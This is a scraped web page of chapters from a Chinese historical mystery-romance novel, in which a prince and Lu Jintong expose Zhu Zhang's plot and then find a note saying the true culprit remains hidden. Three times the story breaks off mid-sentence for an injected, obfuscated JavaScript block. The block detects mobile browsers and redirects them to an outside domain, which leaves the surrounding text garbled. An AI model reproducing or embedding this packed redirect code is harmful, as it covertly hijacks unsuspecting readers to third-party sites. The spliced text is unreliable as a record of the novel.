容筝站起身:“即便是你说得再多,我们都会去问清楚你的父亲。本宫只是想不明白,他待你不好,你为何要袒护他呢?如果有些事他真的做了,却要你替他认罪,你承担了本不该是你的罪名,还得不到一句好话,你甘心么?” 朱允怀怔住了。 良久,他才嘴唇颤抖道:“你知道什么!” “我什么都不知道,”容筝说,“但我只想告诉你,凡事三思而后行,你这样做能得到什么,意义又是什么?” 迎着朱允怀的目眦欲裂,容筝退出房门。 路锦瞳已在门口等他了,她随着容筝一直走到牢房外,容筝才开口:“你先会屋中休息一下,本宫会叫余景给你打饭过来。” “那你呢?”路锦瞳问,“不一起过来吃么?” 容筝点点头:“本宫会来的,只是要先去找沈大人,向他说清楚方才的线索,顺便询问将朱章带回来的可能性。” 路锦瞳道:“如果能断定,那块腰牌只有朱章能使用,至少就能先问他的话,哪怕是问不出什么,也要先将他引走,如果能去他的书房翻翻就更好了。” 容筝:“……” 他有些惊诧的看了路锦瞳一眼,发现这姑娘可不是一般的敢想。 就凭一个腰牌去看人家的书房?这可能么? “还能问问他家夫人,小妾什么的,要不然问问他其他的孩子?我觉得以朱章的那个样子,他可能不止不喜欢朱允怀,肯定还不喜欢其他的孩子,说不定还有人对他颇有微词呢,只是不知道该怎么说,我们问问,可能会问出什么。”路锦瞳道。 末了,她惋惜道:“可惜我不能去,这么精彩的场面我是看不到了。” 容筝笑道:“你回去吃饭吧,本宫先去问沈大人,至于审问朱章的事,恐怕还得从长计议,这不太容易。必要时,可能还需要借助父皇的力量向他施压,或许只有摆到明面上他才能配合。” 24. 第 24 章 事实证明朱章的人品确实不咋地。 容筝去找了沈知安,先让他去找朱章问话,他还特意跟上过去,果不其然,见大理寺的人以及皇子亲自过来问话,前来迎接的人中有几个人眼睛亮了一下,神色都不太自然了。 正如容筝所想,一块腰牌并不能证明什么,朱允怀已经是个弃子了,无论接下来发生什么,把事情往他身上推就好,就算他们还有话要讲,朱章完全可以再推出一个孩子顶罪,或者找个与他亲近些的人,只有他有银子,可以做到许多事情。 朱章如他所想的一般难搞,根本从他口中撬不出东西来,容筝也不慌,转头就去向皇上禀明情况,刚巧丞相来访,他请求皇上一定要严查此事,算是对他的拜托。皇上一向很相信丞相,自然见不得他受委屈,立即让人去宣了朱章进宫。 朱章进宫后才得知发生了什么,可时间过于紧张,他准备的不够,又被扣在了宫里,连消息都无法传出去,只能由着容筝带人进府问询。 容筝带人去了朱府,叫侍卫前去搜寻,并把下人以及家眷全部集结起来,在他将要离开亲自去搜朱章的书房时,有一位姑娘站了出来。 她看着和路锦瞳差不多大,却要比她痩些,由于帷帽的遮挡,容筝看不清她的表情,不过从她交叠在身前的手来看,她根本就不慌,与周围惶惶然的其他人比镇定了许多,她上前一步道:“殿下,我有话与您说。” 她此话刚出,朱夫人便惊惶道:“朱允时,你要干什么?我告诉你,你要是敢乱说,我就……” 朱允时淡然回头看她:“就怎么样?母亲还是尽早想想自己吧,想想父亲如果倒台了,娘家是否愿意接纳你,还有你的好儿子,这场灾祸,他是否能躲得过去?” 朱夫人怒道:“你哥哥做的事,自己担着就好了,凭什么要让我们一家人都跟着被害?” “究竟是谁的过错,母亲心中明白!”朱允时抬高声音,她深深呼出一口气,“我的哥哥死了,你的儿子也得跟着陪葬!” 话毕,她又回过身来,声音还是冷冷淡淡,她道:“殿下,请随我来。” 容筝点头:“有劳。” 朱允时直接把容筝带到了朱章的书房,她熟稔地从书柜那边按动了什么,桌案上便咔嚓一声响,她从中拿出一叠文书,恭恭敬敬呈给容筝:“殿下请看。” 容筝接过,仔细翻看,他怔住:“这是……” 朱允时点头:“推举六皇子的奏折。” 她撩了裙子屈膝跪下:“刺杀三皇子,从始至终就是父亲一手策划的,包括蔷薇姑娘的死。他不喜欢哥哥,便要哥哥去替他做脏事,如果查不到没有关系,但查到了,还能有人推出去顶罪,他知道哥哥会替他做事的,因为我和姨娘,哥哥一定会做。 “他早知哥哥对三皇子有所不满,便故意将蔷薇姑娘送出去,让她被三皇子失手杀死,这可以挑起哥哥对其的仇恨,也是决定对他下手的导火索。他让哥哥自愿谋划刺杀三皇子一事,又将侍卫借出去,让哥哥保证事发后绝对不供出他,否则便要了我和母亲的命。” 容筝将那堆文书收起来:“那宋云衡是怎么回事?” 朱允时道:“父亲与丞相不和已久,若能把丞相手中的孩子也拉下水,同样会让皇上对丞相起戒心。” 容筝叹气:“你说出这些,可知以后会面对什么?朱家倒台了可对你没有好处。” “他存在也照样对我没有好处,”朱允时依旧冷静,“殿下,在这个家中,父亲最不喜欢的就是姨娘,我,还有哥哥,我们分明是他的至亲骨肉,他却防备至此,甚至要将我们当挡箭牌。哥哥已经陷入,我没有办法,可我还有母亲,为了母亲,我没得选。” 她似乎是哭了,很快地用手拭脸,嗓音中也带了哽咽:“我情愿生活没有以往的荣华富贵,也不愿意一辈子麻木不仁。这次是哥哥,下次又会是谁呢?我们凭什么要成为他的牺牲品?” 她跪拜下去:“臣女所言句句属实,若殿下不信,臣女还有证人。” 容筝问:“是何人?” “醉春楼的红杏,”朱允时道,“她是醉春楼的老鸨,也是父亲养在外面的外室,把蔷薇姑娘送到三皇子面前就是她一手操办的,父亲也曾和她说过些微细节。这回他被皇上传诏入宫太突然,我早早的传了信,让红杏跟我的人先躲起来,父亲就算是要灭她的口,也来不及。” “不必那么麻烦,本宫信你,直接带着她随本宫进宫,到父皇面前说吧,”容筝道,“这九条人命,他必须得给个交代。” *** 容筝一直到晚上才回大理寺。 他看着很疲惫,脸上却有笑意,路锦瞳等了他一天,看他这样笑心头莫名松了口气。 “解决了?”她问。 “是啊,”容筝道,“事情比想象的要顺利,朱章、朱允怀和宋云衡月底处斩,其余朱家男眷发配边疆充军,女眷进教坊司。至于朱允时,她是朱允怀的妹妹,他们两个是一个姨娘所出,这次也多亏了她,否则朱章的马脚不会那么快露出来,父皇也无法判定他的罪名。他检举有功,父皇命她与其母邹氏明日离京,不可再返回。” “终于解决了,还以为朱章这一关不好过呢,没想到这么快就能搞定,”路锦瞳认真总结,“这告诉我们,和人交往要与人为善,特别是对待自己的孩子,搞偏心那一套就是在给自己挖坑,你看,朱章自己被埋了吧?让他利用孩子。” 最讨厌偏心的父母了! “对了,”路锦瞳突然想起什么,“丞相呢?他怎么说?宋云衡被处斩,他没有求情么?” 容筝摇头:“他在得知宋云衡干了这样的事,差点昏过去,他和父皇说,得子如此,是家门不幸,竟敢把主意打到皇子身上,没脸求情,宁愿不要这样的儿子。父皇体恤他,让他回府休息了。” 路锦瞳托腮道:“好吧,没办法,这事谁敢求情啊,他们可是要谋害皇子呢,丞相若是求情,皇上会很难办的,到时候两边都没法交代,他不求情反而是件好事,还能全了在皇上面前的情面。” 容筝笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059108|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你倒是很懂。” “那可不,”路锦瞳耸耸肩,“自从开始查案子,我就担心又有人来勒我,生怕小命不保,运动开始了,脑子也开始动了,如果不动的话恐怕都活不久吧?我这次掺和进这种事情里来,又联合你把朱章扳倒,还不知道有多少人把我划分进仇人那一列呢。” 她没有戴帷帽的习惯,天色又晚了,白日戴的面纱早就摘掉,容筝来得突然,她都忘了戴上,此时露了整张脸和他聊了半天都没有发觉。容筝视线移到她的脖颈上,那道勒痕已经淡了许多,只剩下淡淡的痕迹了,他道:“是应该小心,你放心,本宫还会继续安排人保护你家,你要切记,那位慕公子要时刻跟着你,他功夫不错,能帮不少忙,至少能保护你的安全。” 路锦瞳答应,慕柏今日没跟着,她换装就已经够费劲了,再加上怕耽误时间,就让他留在了府里。经过这段时间的锻炼,她身体强壮了不少,手上也有力气了,再勤加练习,差不多就能达到以前的能力。 还要多和慕柏练习,古人与现代的功夫还是有所差别的,她要想继续在这个朝代做自己喜欢的事情,那就必须适应这里。 “殿下把这件事和沈大人说了么?”路锦瞳问。 容筝道:“还没有,本宫想着先和你说,叫你不要那么担心,稍后再去向沈大人告知情况。” 她居然都跃到沈知安前头去了,路锦瞳有点不好意思:“那殿下您快去和沈大人说吧,免得耽误了结案进度。对了,您吃过饭了么?” “还没有,”容筝有点不好意思,“今日一直在忙这个事,还没来得及。” 路锦瞳一怔,那他的意思岂不是说,今天一整天都没吃过么?他们审问完朱允怀和宋云衡后就已经是午饭时间了,容筝急急忙忙去朱府,又往皇宫跑,一直到现在才结束,两顿都没吃了。 路锦瞳连忙站起来:“那这样,殿下您先去和沈大人说,我去厨房给您把饭菜热热,晚上吃饭的时候我觉得您还会回来,就留了一些,现在这个点可能没什么人,我去给您热热,您一会儿记得回来吃。” “你不赶紧回府去么?”容筝急忙叫住她。 “不着急,”路锦瞳摆摆手,“我先去热了饭再说,您记得一定要回来。” 她这么说着,加快步子往外走,容筝赶紧一叠声的喊,他扯了路锦瞳的面纱焦急道:“把这个戴上。” 路锦瞳一惊,这才发现自己和容筝聊了这么久居然都没有带面纱,不免有些尴尬,不过容筝看着没什么感觉的样子,那就不尴尬了,他都不尴尬她尴尬什么。 生火这事路锦瞳还是会的,她将饭盘放着蒸馍的锅里,里面烧了水,差不多热了四五分钟才熄火,一样一样装进食盒小跑回屋。 容筝还没回来,路锦瞳便撑着脸在原地等。案子终于了结了,她也能放心,好歹那些人都没有枉死,靠着容筝这个皇子的身份把朱章也拖了下来,如果光靠路锦瞳自己,恐怕她只能把表面的朱允怀和宋云衡抓进去,朱章还能逍遥在外,也是给她自己留了个敌人。 25. 第 25 章 只是……路锦瞳心中还是觉得怪怪的,这件事总结下来丞相是最大的受害者,一下子失去了两个孩子,指不定还要被皇上怀疑。可他毕竟是一国的丞相,怎么会被朱章耍得团团转呢。 朱允时为什么要站出来交代朱章的罪行,就仅仅只是为了保全她自己和她的母亲?此番被赶出京城,她可留了后手?后手又是什么?两个女人离开京城又能去哪里扎稳脚跟? 一切好像都说通了,却又好像什么都没有说通,案件分明已经水落石出,却又迷雾重重。 门外传来轻轻叩声,路锦瞳从思绪中抽出神来:“请进。” 容筝推开门,他一眼看到放在桌上的食盒,连忙道:“多谢你了。” “客气什么,”路锦瞳摆摆手,她拿了面纱起身,“那殿下你吃着,我得赶紧回去了,案子了结了,我也没有理由继续待在这里,时间也不早了,再不回去爹娘要担心了。” 容筝怔住,与路锦瞳相识不过半月,他却好似觉得他们已经认识很久。路锦瞳和旁的姑娘们都要不同,其余人见了他都是诚惶诚恐,只有她像是朋友一般的与她讲话,除了最开始认识的时候会把自己放在下位,等后面熟悉之后她就忘得干干净净了。 容筝其实很喜欢这样的相处模式,因为他身份的原因,身边的朋友很少很少,即便是聊得来,也会估计着,不敢多说什么,态度也恭恭敬敬,所以他总是待人温和,期盼着这能让旁人觉得他没有架子,其中的隔阂能少一些。 可惜他只能想想,大家都习惯性的把他捧在高位,仿佛他穿个红配绿都是别出心裁,听不得一句中肯的意见。 他从前没有与路锦瞳相处过,除了太后和皇妹之外,也很少与姑娘们待得很久。与路锦瞳共事这十几天,他发觉自己有时好像都没有被当作皇子看待,而是一个朋友,他很享受这样的相处。 只是天下没有不散的筵席,案子结束,他们确实应该分别了,路锦瞳毕竟是个姑娘家,此番抛头露面已是不对,怎可继续错下去…… 容筝脑中乱七八糟的想着,路锦瞳没注意到他蓦地怔住,只顾着跟面纱较劲了,她接着道:“我要赶快回去学习了,等明年秋闱参加科考试试,如果能过的话,说不定殿下之后办案我们还能一起呢。” 对哦,容筝失落稍稍轻了些,他笑了一下:“那就祝你早日考上。” “谢谢殿下。”路锦瞳终于戴好了面纱,露出一双弯弯的眼睛。 她起身要走,容筝忙道:“还是让余景送你。” “好。”路锦瞳不推辞。 “等等,”容筝又叫住她,“如果有什么事,我可以找你么?” 见路锦瞳睁大眼睛,似乎是有什么疑问,他连忙道:“我会先向你府中递拜帖,之后你经过你父母再出来也行。如果不行的话,我们书信联系也好。” 路锦瞳看他说了一堆,便笑道:“殿下想联系我,那不是怎么样都可以么?您递拜帖写时间地址就好,我肯定会去的,我爹娘不管我去哪里,不用那么麻烦的,我们是朋友嘛,朋友一起出去玩有什么不方便的?” 她没说让容筝到府上来玩,这个还是得问问路钊和陆绾,容筝毕竟是皇子,来了府上他不自在路氏夫妇更不自在,轻易请尊大佛过去,别让人怀疑他家站队了。 “好。”容筝这才放下心来,他起身把路锦瞳送出去,一直送到后墙那里,帮忙扶着梯子看她过去了才回去。 路锦瞳在轿子里晃晃悠悠的回去,突然觉得有些空虚起来,案子也办完了,以她的能耐恐怕暂时都接不到别的,难道只能待在府中看书了么?救命啊,她一看书就犯困。 要不还是去考武举吧?路锦瞳异想天开。 她果然还是不擅长做动脑子的事。 路锦瞳下车时向余景告别,余景恭恭敬敬行了礼:“路姑娘,暗卫殿下会撤走一半,还会留下一些,您刚刚辅助办了案子,虽然不是由您亲手将朱大人抓进去的,但京中对此事早有传言,殿下怕有什么人来寻仇,便继续让他们留在外面保护。您回府后也和路老爷说一下情况,尽量在府中多安排些巡逻的人手,事情解决了,防备心却不能就此降低。” “我知道了,”路锦瞳点头,“多谢,这段时间辛苦你了。” “不辛苦。”余景再次向她抱拳,随后驾着马车离开。 府中前厅亮着灯,路锦瞳刚回来就有下人去报了,路钊和陆绾匆匆过来迎,陆绾喜气洋洋道:“哎呀,我们的大功臣回来了。” 路锦瞳老脸一红:“娘,您夸张了,什么大功臣啊。” 她今天属实没发挥什么作用,就是在那旁听,出了个诈人的计策而已,剩下的时间除了吃就是睡的,主要的东西和需要走访的活都是容筝问出来的,她也就玛卡巴卡了一天,实在不好意思担大功臣这个名头。 “怎么不是?”陆绾提起来就生气,“要不是你自己,庞载那个狗东西能查出什么来,还想着冤枉好人呢,祝他下辈子投胎成猪!然后老娘把他买下来,炖了吃!” 好恶毒的惩罚,她喜欢!路锦瞳过去搀上陆绾的手臂:“那娘。记得给我做排骨和红烧肉,我最喜欢吃这两个了。” “没问题!”陆绾大手一挥批准了,“明天就让厨房给你做。” 路锦瞳失笑,这话说的,好像是庞载已经投成猪被她家买下了似的。 天色已经不早,路锦瞳早在大理寺蹭了饭,陆绾本来叫小厨房给她准备了夜宵,但路锦瞳看那玩意儿有罪恶感,想到自己梦寐以求的马甲线,还是艰难的拒绝了。 她将今天发生的事情和他们说了,又嘱咐路钊夜里安排好巡逻的,即便是白日里也不能懈怠。 路钊出去安排管家了,这事结束,他们也都能出门跑生意了,路钊喜欢亲力亲为,特别是一些老顾客,必须要打好关系,他亲自过去还能联络联络感情。 陆绾给路锦瞳倒了茶,她道:“你也不必太过担心,那对母女不一定会难过,她们好歹也是大户人家出来的,这段时间里肯定也攒了不少金银首饰,变卖了能换不少钱呢,到时候雇个车夫去旁的城市就好。只是毕竟是女人,在路上容易遇到歹人,她们应该会记得找人护卫吧……如果你实在不放心,娘派人去给她们打点好再送她们走。” 陆绾是个热心人,明明那些人和事与她没什么关系,但有人遇到了难处她就会想着帮帮忙,更别说这是路锦瞳担忧的事情。 路锦瞳有点羞愧,她还没开始担心她们的安危呢,她只是单纯的觉得事情似乎还有些不对而已。可陆绾这么说了,她也不能泼凉水,再说了,帮帮忙也没什么不好的,无论在哪里女人都容易受欺负,这个时代想必更甚,还是看她们找到一个地方安家了再放心吧。 想到这里,路锦瞳欣然答应。陆绾便立刻派人去办事了。 看了会儿书催眠后,路锦瞳很快进入梦乡,她本以为案子结束,担子也就能卸下,应该能睡得比以前还好,结果还不如以前呢。她做了个被怪兽追着到处跑的梦,天还没亮就醒了。 在被窝里翻腾了几圈,路锦瞳突然坐起来。 等等,宋云衡到底为什么那么痛快的承认啊?就单单是为了朱允怀么?那他们两个应该早早的串好供,一起死咬着不放,无论怎么样都不承认才对啊,他们在大理寺有人,关键证据有没有拿到想必都清楚,明明知道容筝什么准备都没有,去问他们就是为了套出话来,为什么还要干脆承认? 而且在最后朱允怀自白之前,他是不是说了句“明明说好了,绝不受任何人摆布”么,不受人摆布是指朱章,可这是单方面对于朱允怀来说,他说的是“明明说好了”,那就说明宋云衡也被人威胁了,可他能被什么人威胁?他爹可是丞相。 等等,丞相?路锦瞳脑子中突然冒出了一个可怕的想法。 ……不能吧?那可是他的亲生儿女啊。路锦瞳觉得有些后背发凉。 这个事情能和容筝说么?虽然直到现在路锦瞳都没有搞清楚他与丞相的关系怎么样,这个东西还是要问本人,问谁都不如他自己知道,就算是别人说他们关系不好,那万一是装的呢? 路锦瞳就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065191|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么坐到天亮。 她照例出去向慕柏求教,慕柏今天开始教她学剑了,路锦瞳老早就想学这个,每次在古装剧中看着他们拿剑打来打去她就觉得实在是太酷了!只可惜学了也没有什么用,只能自己在家耍耍,又不能在抓人的时候用剑,否则第一个被抓起来的就是她了。 现在可是好机会!路锦瞳两眼放光的接过了木剑。 她挥汗如雨的练了好久,竹月才叫她过来吃饭,热水也烧好了。沐浴过后去前厅,陆绾捏捏她的胳膊,赞道:“越来越壮实了。娘以前也有,但那是跟着你爹走南闯北的时候了,现在早就吃没了。” 看她惋惜的样子,路锦瞳逗她:“您可以再练嘛,什么时候都不算晚。” 陆绾眨巴眼睛:“可是娘年纪上来了,不想动了耶。” ……重点是在后一句吧。路锦瞳无语。 她们打打闹闹的等上菜,一个丫鬟给路锦瞳放餐具的时候收手,袖中掉下了一个白花花的东西,她没注意,径直要离开,路锦瞳弯腰捡起:“诶,你的东西掉了。” 丫鬟连忙退回来,她看了看路锦瞳手中的东西:“这是什么,奴婢的东西么?” “从你袖子里调出来的呀。”路锦瞳疑惑,怎么从她身上掉下来,她还完全不知道呢,这么想着她干脆就展开了,丫鬟掉下的东西是一张纸条,墨色浅淡地晕染在纸背。 路锦瞳看着看着神情凝重起来,她抓住丫鬟的袖子:“你这几天去哪里了?” 丫鬟一脸懵逼,她道:“奴婢这两天哪里都没有去,就今天上午,夫人叫奴婢和姐妹们去帮忙送送朱家的那位姑娘,除此之外没再出过府了。” 去送朱允时了? 路锦瞳扶着凳子站起来:“娘,我得回去写个东西,竹月,你去叫个小厮来,等一下帮我去四王府送个东西。” 竹月一愣:“是。” 陆绾也连忙站起来:“怎么了这是?” “案子可能还有疑点,我得和四殿下约个时间好好谈谈,娘您先吃饭吧,我处理完就回来了。”路锦瞳加快语速。 陆绾连忙扯着嗓子喊:“把慕公子带上,注意安全!” “知道了——”路锦瞳的声音远远飘过来。 竹月加快研磨速度,路锦瞳下笔如飞,字有亿点点难看,但好歹是能认出来的,她写完又让竹月看了看,很好,竹月也能认出来,说明她的字容筝能看懂。 “竹月,你把东西给他,让他骑马去四王府,尽量是见到四殿下本人亲手交给他最好,如果四殿下不在,就交给余景,或者说搞清楚他的去向找他也行,反正这封信只能交给四殿下或者余景,其他人绝对不能给,要速度,你去嘱咐他。” “是。”竹月接了信提裙子一路飞奔。 路锦瞳也懒得换衣服了,她戴好帷帽,又逮了个小厮帮忙备马车,她扑去敲慕柏的门:“慕公子,你在么?” 门内应了一声,随后传来脚步声,慕柏打开门:“路姑娘,怎么了?” “你跟我出去一趟,现在,有时间吗?”路锦瞳问。 慕柏点了一下头,回去拿剑:“走吧。” 马车停在了府门口,路锦瞳三步两步爬上去,陆绾提着油纸包追上来:“拿些糕点,你早上都没吃饭,当心饿着。” “谢谢娘,”路锦瞳接过,“您先回去吧,我中午就回来了。” 依旧是慕柏骑着马在外面守着,路锦瞳有些焦灼的坐在马车中,也不知道容筝在不在府里,今天要上朝么?这个点是不是有点早了?他从宫里回来没有? 越想越烦躁,路锦瞳情不自禁啃指甲。 那张纸条一定是朱允时写的,那位丫鬟今早被陆绾派去送她们,朱允时趁她没注意的时候放进她的袖中,届时她发现了,可能会不当回事扔掉,也可能给别人看,或者是交给陆绾。不管怎么样,有百分之五十的概率能有人注意到,那就会有人去找她。 兴许是怕纸张太大会被丫鬟当场发现,纸条很小,上面只有一句话。 真凶另有其人。 26. 第 26 章 这个朱允时,真凶究竟是谁不能明说么?怎么还搞让她猜这一套?她该不会是以为她能猜的出来吧? 如果连朱章都不是真正的幕后黑手,那还有可能是谁呢?路锦瞳想来想去,觉得还是无法排除丞相的嫌疑,毕竟密谋的地点就在丞相府,而有能力让朱章、朱允怀以及宋云衡认罪,并且买通朱允时让她曝光朱章,最后保下她们让其离开,这么大的能力,或许也只有丞相能做到了。 可是为什么呢?路锦瞳无法理解,宋云知是丞相的孩子,宋云衡也是他的孩子,听容筝说他对府上的每一个孩子都很好,是不可能做出杀子杀女的事情来的。 就别说宋贵妃是他的亲妹妹,三皇子是他的侄儿,他为什么要害三皇子呢? 以路锦瞳这么多年看小说的经验,一般自己的亲姐妹嫁入皇家还诞下皇子,都是会被供起来的,特别是像丞相这种位高权重的官员,他们都期盼着自己家的孩子能登上那个位置,然后一家子都能沾光。 所以她怎么都想不通丞相害三皇子的意义在哪里。 还是那间茶楼,因为原身的记忆是需要触发关键点才能让她想起来的,所以路锦瞳想了半天都没想起有哪个茶楼离他们两家府邸都近,叫什么名字,只好选在了宋云知被害的那家,容筝肯定不会忘的。 路锦瞳很早就到了,她吃不下什么东西,只在屋里来回的转圈,竹月劝道:“小姐,您要不坐下歇歇,吃点糕点垫垫肚子,别饿着了。” “没事,”路锦瞳朝她摆摆手,“我现在吃不下东西。” 她都要愁死了,到底是不是丞相啊?如果不是他的话还能是谁?朱允时为什么不写清楚!卖什么关子?! 等等,朱允时! 路锦瞳发现自己真是一急就容易什么都忘得干干净净,她连忙道:“竹月,你现在回府,让娘派一队侍卫沿着朱允时离开的地方追,今天早上去送她们的人应该清楚她们要去哪里,如果可以带着一起去,沿途搜索看看有没有留下什么痕迹,一旦发现有什么不对,赶紧派个人回来报信,其他的人继续找。记清了么?” 竹月懵懵的消化了一圈,随后点头如捣蒜:“记住了。” 于是路锦瞳拍她:“快去,让车夫带你回去。” 竹月道:“可是小姐,你这里没人伺候真的行么?” “怕什么,慕公子还在呢,没事的。”路锦瞳挥手赶她。 慕柏就守在门口,路锦瞳绝对不开窗,她就不相信了,还能有人在隔壁暗杀她不成,她的拳头也不是吃素的。 路锦瞳也不记得她在屋里转了多少圈,人在煎熬难耐的时候总觉得时间特别漫长,不知道过了多久,门才被猛地推开,正是容筝,他似乎也是跑着过来的,呼吸还有些急促:“怎么了?” “你先进来,”路锦瞳也顾不得避嫌,拽了容筝的胳膊肘把他拉进屋去,随后鬼鬼祟祟探出头看看外面有没有可疑的人,慕柏看她左看右看好几回都不放心,无语道:“我在外面守着,你放心吧。隔壁两个屋子我已经叫人给你腾开了,不会有人偷听。” 几百两银子的人就是给力啊,路锦瞳激动的向他竖了个大拇指:“感谢,回去请你吃饭!” 说罢,她终于将头缩了回去。 路锦瞳小跑回来,容筝已经坐到桌对面了,他道:“发生什么了?” 路锦瞳把那团小纸条递给他:“殿下,您看看。” 纸条被她拿在手里看了又看,焦急时更是握着连连转圈,此刻已经有些皱了,还有点潮,不过还好上面的字迹没有收到影响,容筝看着皱起眉来:“这是谁写的?” “肯定是朱允时。”路锦瞳道,“我娘今天早上派人去送她们母女,派去的丫鬟后来袖中就掉下来这么个纸条,不是她写的还能有谁?而且把朱章拉下水的重要证人就是她,她昨日那番举动肯定是有人授意,不然她和她娘两个女人离开京城怎么生活下去,她不可能完全不考虑未来吧?除非有人给她们兜底,而这个兜底的人就是真正的幕后凶手。” 容筝看了看纸条,又看看她:“路姑娘,你是不是心中有怀疑的人选了?” 路锦瞳一怔,随后卡壳了。 她当然有,虽然目前证据和理由还站不住脚,可她最最怀疑的就是丞相。但这话能说么?能说么?不能说啊!她现在还不知道丞相和容筝关系怎么样,容筝与三皇子关系怎么样,容筝想不想要那个位置…… “本宫与丞相关系一般,他并不在本宫这边,如你所想,他站队三皇兄,”容筝道,“本宫也对他有所怀疑,只是三皇兄毕竟是他的亲侄儿,更是他将来站稳朝堂的重要人选,所以一直迟疑,不知道该不该怀疑他。” 路锦瞳颓然坐下:“实话和您说,我也在怀疑他,无法断定的缘由和您一样。但是,如果他连自己的儿女都能下手的话,三皇子一个侄儿算什么呢?” 容筝看了她一眼:“这件事你不要再查下去了。” 路锦瞳疑惑道:“为什么?我不怕他们阻挠。” “你不怕,那你的父母呢?你要他们因为这件事涉险么?”容筝说,“让你不要再查下去是为了你好,本宫知道,你不畏强权,可是你总要为父母想想,如果他们因为你出了什么事,你岂不是要恨自己?” 见路锦瞳沉默下去,他又道:“朱允时既然怎么说了,那这个案子就一定不会结束,根据你的分析,幕后之人一定不简单,哪怕不是丞相,也一定是个与他一般厉害的人。你放心,本宫会一直追查下去的,如果有需要帮助的地方,自会来寻你帮忙,但没有本宫的允许,你不许再妄动了。” 半晌,路锦瞳才点点头,她道:“都听殿下的。” 容筝说得对,她还有父母,她占了原身的身体,享受了她拥有的一切,那就不能不轻易珍惜,路钊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080399|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和陆绾本来不应该有事的,他们会安安稳稳的做生意到老,即便是失去了女儿,哪怕是痛苦也会活着,她不能打破他们原有的好结局。 如果真的因为她的莽撞让他们二人出了什么事,那她一定不会原谅自己,原身也不会瞑目的。 她复又抬起头:“殿下,如果有我能帮忙的地方,一定要说。但您若是也遇到危险,有阻力不让您继续追查下去的话,您也要停手,查案什么时候都可以,只有留住命,才能有希望查明真相。” 容筝笑道:“好。” 他喝了口茶,又道:“稍后本宫会派人去追他们,如果能追到朱允时就好,怕只怕……” “只怕幕后之人容不得她活着,她做了证,知道了真正的凶手是谁,以凶手斩草除根的习惯,她很危险。”路锦瞳把接着的话说完,“那殿下稍后派人先去路府,我叫一个今早送他们去的人跟着你们,也能指路。我已经安排人叫家丁过去追了,不知道来不来得及。” “好,”容筝应下,“本宫会派暗卫去。” 路锦瞳又想起什么:“对了殿下,朱章他们处斩前还能不能提审了?您要不要再试着问问,万一因为幕后之人的卸磨杀驴,朱章被惹恼了,想要把他也拖下水呢?” 容筝惋惜的摇摇头:“来不及了,昨夜本宫连夜整理卷宗,等今晨早朝过后想要去提审时,沈大人那里传来消息,昨夜他们都畏罪自杀了。” “全部么?他们三个都自杀了?”路锦瞳震惊。 容筝点头。 “他们怎么自杀的?狱中什么东西都没有啊,甚至连个悬梁的横梁都没有!”路锦瞳还是不敢相信。 “朱章是被朱允怀杀死的,用衣带勒死,而他则是自己将自己勒死,至于宋云衡,他摔碎了带着的玉佛,用尖锐部分划开了喉咙。”容筝叹了口气,似乎是有些惋惜。 路锦瞳好半天都说不出话来,除了朱章外,都是自杀,特别是朱允怀,人在窒息时身体本能会挣扎,他自己勒自己,那得是下了多大的决心,又多迫切的想要死,才会毫不手软的把自己勒死? 她突然感到特别愤怒,但又有一种拔剑四顾心茫然的感觉,她生气有什么用,现在连凶手都不知道是谁,哪怕是就地气晕,凶手也不会出现。 她不禁咬紧了牙关:“殿下,如果有可能,我还是想帮忙,我会尽我所能的保护家人。但我总觉得,朱允怀和宋云衡被利用顶罪的可能性更大,也许他们在其中什么都没有做,却被迫承担,甚至被威胁了什么。如果是真正的凶手,是绝对不可能畏罪自杀的,他们就没有觉得自己做错了,更不会对自己下那样的狠手。” “至于他们三个的死,”路锦瞳道,“殿下觉不觉得,这依然是斩草除根?就像是拉他们出来顶罪,以及杀赵阿大,赵氏,林氏,大理寺衙役等等等等,那些人,不都是凶手为了防止被抓出来而除掉的证据么?” 27. 第 27 章 容筝沉默,随后缓缓点了点头。 他道:“你放心,之后若是查到什么,本宫一定会通知你,你若是想加入进来,必须在你父母以及你自己安全的情况下才行,你能答应么?” “当然可以,”路锦瞳点头如捣蒜,“还有,如果殿下有什么案子想不通,也可以来和我讨论讨论,万一我能帮忙想到什么点子呢?” 容筝一顿,他将茶杯推到一边,认真道:“你这么一说,我还真有一件事想请你帮忙。” “殿下客气了,什么请不请的,只要是我能帮的,您说就是了。”路锦瞳答应的很爽快,她就不信容筝会让她做什么伤天害理的事情,就算他真有那种见不得人的事情需要人来做,那也轮不到她。 “你还记得柳絮的父母么?他们曾在客栈做活,红梅客舍出了人命,在之后又遇上命案现场,被庞载误判抓入大牢,最后处斩。”容筝道。 